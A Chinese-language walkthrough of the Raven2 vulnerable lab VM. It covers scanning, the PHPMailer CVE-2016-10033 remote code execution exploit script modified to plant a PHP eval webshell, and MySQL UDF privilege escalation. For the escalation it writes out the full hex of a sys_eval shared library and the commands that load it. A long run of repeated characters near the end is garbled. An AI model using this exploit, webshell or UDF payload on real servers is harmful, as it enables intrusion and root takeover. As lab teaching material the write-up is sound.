Raven2靶机渗透测试

考点：CVE 2016-10033、Mysql-udf提权

安装好后，用nmap扫一下IP地址

 ┌──(kali㉿kali)-[~]
 └─$ nmap -F 192.168.157.*   
 Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 08:53 EST
 Nmap scan report for 192.168.157.2
 Host is up (0.00070s latency).
 Not shown: 99 closed tcp ports (conn-refused)
 PORT   STATE    SERVICE
 53/tcp filtered domain
 
 Nmap scan report for 192.168.157.129
 Host is up (0.00047s latency).
 Not shown: 99 closed tcp ports (conn-refused)
 PORT   STATE SERVICE
 22/tcp open  ssh
 
 Nmap scan report for 192.168.157.143
 Host is up (0.00045s latency).
 Not shown: 97 closed tcp ports (conn-refused)
 PORT    STATE SERVICE
 22/tcp  open  ssh
 80/tcp  open  http
 111/tcp open  rpcbind
 
 Nmap done: 256 IP addresses (3 hosts up) scanned in 4.25 seconds

129是我kali 的ip，所以这里是143的IP

继续扫一下端口：

 ┌──(kali㉿kali)-[~]
 └─$ nmap -p 1-65535 -A -sV 192.168.157.143
 Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 09:09 EST
 Nmap scan report for 192.168.157.143
 Host is up (0.0012s latency).
 Not shown: 65531 closed tcp ports (conn-refused)
 PORT      STATE SERVICE VERSION
 22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
 | ssh-hostkey: 
 |   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
 |   2048 315801194da280a6b90d40981c97aa53 (RSA)
 |   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
 |_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
 80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
 |_http-title: Raven Security
 |_http-server-header: Apache/2.4.10 (Debian)
 111/tcp   open  rpcbind 2-4 (RPC #100000)
 | rpcinfo: 
 |   program version    port/proto  service
 |   100000  2,3,4        111/tcp   rpcbind
 |   100000  2,3,4        111/udp   rpcbind
 |   100000  3,4          111/tcp6  rpcbind
 |   100000  3,4          111/udp6  rpcbind
 |   100024  1          38053/udp6  status
 |   100024  1          47607/udp   status
 |   100024  1          50442/tcp   status
 |_  100024  1          54131/tcp6  status
 50442/tcp open  status  1 (RPC #100024)
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 14.09 seconds

111的rpcbind是开放的，我们上网查一下有没有相关的漏洞。

这里用MSF来看看。

 msf6 > search rpcbind
 
 Matching Modules
 ================
 
    #  Name                       Disclosure Date  Rank    Check  Description
    -  ----                       ---------------  ----    -----  -----------
    0  auxiliary/dos/rpc/rpcbomb                   normal  No     RPC DoS targeting *nix rpcbind/libtirpc
 
 
 Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/rpc/rpcbomb

111端口一般是rpcbind漏洞（该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB)，除非进程崩溃，或者管理员挂起/重启rpcbind服务，否则该内存不会被释放。），所以这是一个把别人服务器搞崩的东西，自己搞自己？这里不考虑使用。

这里就没有什么可用的信息了，我们进入服务器的网站看看。

字体脚本 Google Font API Font Awesome
杂项 Popper1.12.9
Web 服务器 Apache HTTP Server2.4.10
操作系统 Debian
内容分发网络（CDN） Cloudflare cdnjs
地图 Google Maps
JavaScript 库 OWL Carousel jQuery2.2.4
用户界面（UI）框架 Animate.css Bootstrap4.0.0

这里没什么可以值得去参考的信息。

我们丢到AWVS扫扫看看

OK啊兄弟们，我也是扫到了很多WordPress的漏洞啊（这个网站明明义眼WP，上面这个插件居然识别不出来。。。）

扫出来了几十个高危。

这里扫描报告在这：

Acunetix Report

这是这个网站的目录结构，可以发现有vendor、

我们访问这个目录看看有没有什么可以利用的信息：

发现了PATH文件下有flag1：

PHPMailer版本为5.2.16

搜索一下有没有相关漏洞

发现有几个符合版本的RCE漏洞，这个我们可以用被证实过exp来测看。

在这之前我们看看kali有没有相关的。

 ┌──(kali㉿kali)-[~]
 └─$ searchsploit 40974
 ------------------------------------------------------------------------------------------------------ ---------------------------------
  Exploit Title                                                                                        |  Path
 ------------------------------------------------------------------------------------------------------ ---------------------------------
 PHPMailer < 5.2.18 - Remote Code Execution                                                            | php/webapps/40974.py
 ------------------------------------------------------------------------------------------------------ ---------------------------------
 Shellcodes: No Results

kali这里收录了exp

我们定位exp的位置，复制一份到我们的目录，编辑后准备开始attack。

 ┌──(kali㉿kali)-[~]
 └─$ locate php/webapps/40974.py
 /usr/share/exploitdb/exploits/php/webapps/40974.py
                                                                                                                                         
 ┌──(kali㉿kali)-[~]
 └─$ cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali
                                                                                                                                         
 ┌──(kali㉿kali)-[~]
 └─$ ls                         
 40974.py  Desktop  Documents  Downloads  Music  nmaptest.txt  Pictures  Public  Templates  Videos
                                                                                                                                         
 ┌──(kali㉿kali)-[~]
 └─$ vim 40974.py

修改好目标IP，后门文件名，监听ip和端口，后门文件目录，保存。

开始干他。

 ┌──(kali㉿kali)-[~]
 └─$ python3 40974.py
 
 
  █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
 ██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
 ███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝
 ██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
 ██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
 ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝
       PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
  Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski
 
 [+] SeNdiNG eVIl SHeLL To TaRGeT....
 [+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
 [+]  ExPLoITeD http://192.168.157.143/contact.php

然后我们监听前面设置的4444端口，就会有shell反弹过来

这里不知道为什么没有监听成功，我们换一个exp再试试：

 """
 # Exploit Title: PHPMailer Exploit v1.0
 # Date: 29/12/2016
 # Exploit Author: Daniel aka anarc0der
 # Version: PHPMailer < 5.2.18
 # Tested on: Arch Linux
 # -*- coding: cp936 -*-
 # CVE : CVE 2016-10033
 Description:
 Exploiting PHPMail with back connection (reverse shell) from the target
 Usage:
 1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
 2 - Config your IP for reverse shell on payload variable
 4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
 3 - Open other terminal and run the exploit: python3 anarcoder.py
 Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU
 Full Advisory:
 https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
 """
 from requests_toolbelt import MultipartEncoder
 import requests
 import os
 import base64
 from lxml import html as lh
  
 os.system('clear')
 print("\n")
 print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
 print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
 print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
 print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
 print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
 print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
 print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
 print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
  
 target = 'http://192.168.157.143/contact.php'
 backdoor = '/aimones.php'
 #网站目录要改,payload改成一句话木马
 payload = '<?php eval($_POST[1]);?> '
 fields={'action': 'submit',
         'name': payload,
         'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/aimones.php server\" @protonmail.com',
         'message': 'Pwned'}
  
 m = MultipartEncoder(fields=fields,
                      boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
  
 headers={'User-Agent': 'curl/7.47.0',
          'Content-Type': m.content_type}
  
 proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}
  
  
 print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
 r = requests.post(target, data=m.to_string(),
                   headers=headers)
 print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
 r = requests.get(target+backdoor, headers=headers)
 if r.status_code == 200:
     print('[+]  ExPLoITeD ' + target)

上传kali后运行。

然后连接后门

这里不知道为什么哥斯拉连不上，可能是配置问题。

进入啦~

发现flag2.txt了。

准备mysql提权，先访问数据库配置文件得到数据库相关信息。

 define('DB_NAME', 'wordpress');
 
 /** MySQL database username */
 define('DB_USER', 'root');
 
 /** MySQL database password */
 define('DB_PASSWORD', 'R@v3nSecurity');
 
 /** MySQL hostname */
 define('DB_HOST', 'localhost');
 
 /** Database Charset to use in creating database tables. */
 define('DB_CHARSET', 'utf8mb4');
 
 /** The Database Collate type. Don't change this if in doubt. */
 define('DB_COLLATE', '');

我们上传之前Linux提权信息收集的工具运行看看。

运行不了一点。。。

 (www-data:/tmp) $ chmod -x LinEnum.sh
 (www-data:/tmp) $ ./LinEnum.sh
 /bin/sh: 1: ./LinEnum.sh: Permission denied

后来冰蝎运行出来了、

那我们尝试数据库UDF提权吧。。

后面结果测试，全部连得上后门，但是数据库没一个连得上的

这里原因还没找出来。

反正就是可以通过webshell本地UDF提权到root，也可以通过冰蝎内网穿透把3306映射到别的端口实现SSH隧道外联。然后就可以通过MDUT工具一键提权。

 /var/www/html/ >systemctl status mysql
 
 * mysql.service - LSB: Start and stop the mysql database server daemon
    Loaded: loaded (/etc/init.d/mysql)
    Active: active (exited) since Sun 2023-12-03 00:44:22 AEDT; 5h 23min ago
   Process: 436 ExecStart=/etc/init.d/mysql start (code=exited, status=0/SUCCESS)
 /var/www/html/ >systemctl start mysql
 
 Failed to start mysql.service: Access denied

原来是服务没了，正常情况下是不会出现的，因为这里是虚拟机，我到WM重新开机了一下，解决了，都连得上了。直接开始提权。

Linux下Mysql UDF手工提权

连接后：

获取mysql插件路径

 show variables like '%plugin%';

/usr/lib/mysql/plugin/

写入自定义函数udf库到插件目录:（注意最后的路径要改为查询到的插件路径）

 select unhex('7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000') into dumpfile '/usr/lib/mysql/plugin/cc.so';

创建函数:

 create function sys_eval returns string soname "cc.so";

执行命令:

 select sys_eval('whoami');

直接返回Root

我们来看看root：

   ___                   ___ ___ 
  | _ \__ ___ _____ _ _ |_ _|_ _|
  |   / _` \ V / -_) ' \ | | | | 
  |_|_\__,_|\_/\___|_||_|___|___|
                            
 flag4{df2bc5e951d91581467bb9a2a8ff4425}
 
 CONGRATULATIONS on successfully rooting RavenII
 
 I hope you enjoyed this second interation of the Raven VM
 
 Hit me up on Twitter and let me know what you thought: 
 
 @mccannwj / wjmccann.github.io

flag3呢？

root都有了，还怕找不到flag3啊，直接find命令找：

 find / -name flag*

 /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
 /var/www/flag2.txt
 /root/flag4.txt
 /usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
 /usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
 /usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
 /usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
 /usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
 /usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
 /usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
 /usr/share/

flag3是png图片，我们直接访问网站

好了，这个靶鸡你直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直直接给我坐下！！！！！

好了玩归玩闹归闹，我们下面讲一种更高级的提权办法，上面也说到了的。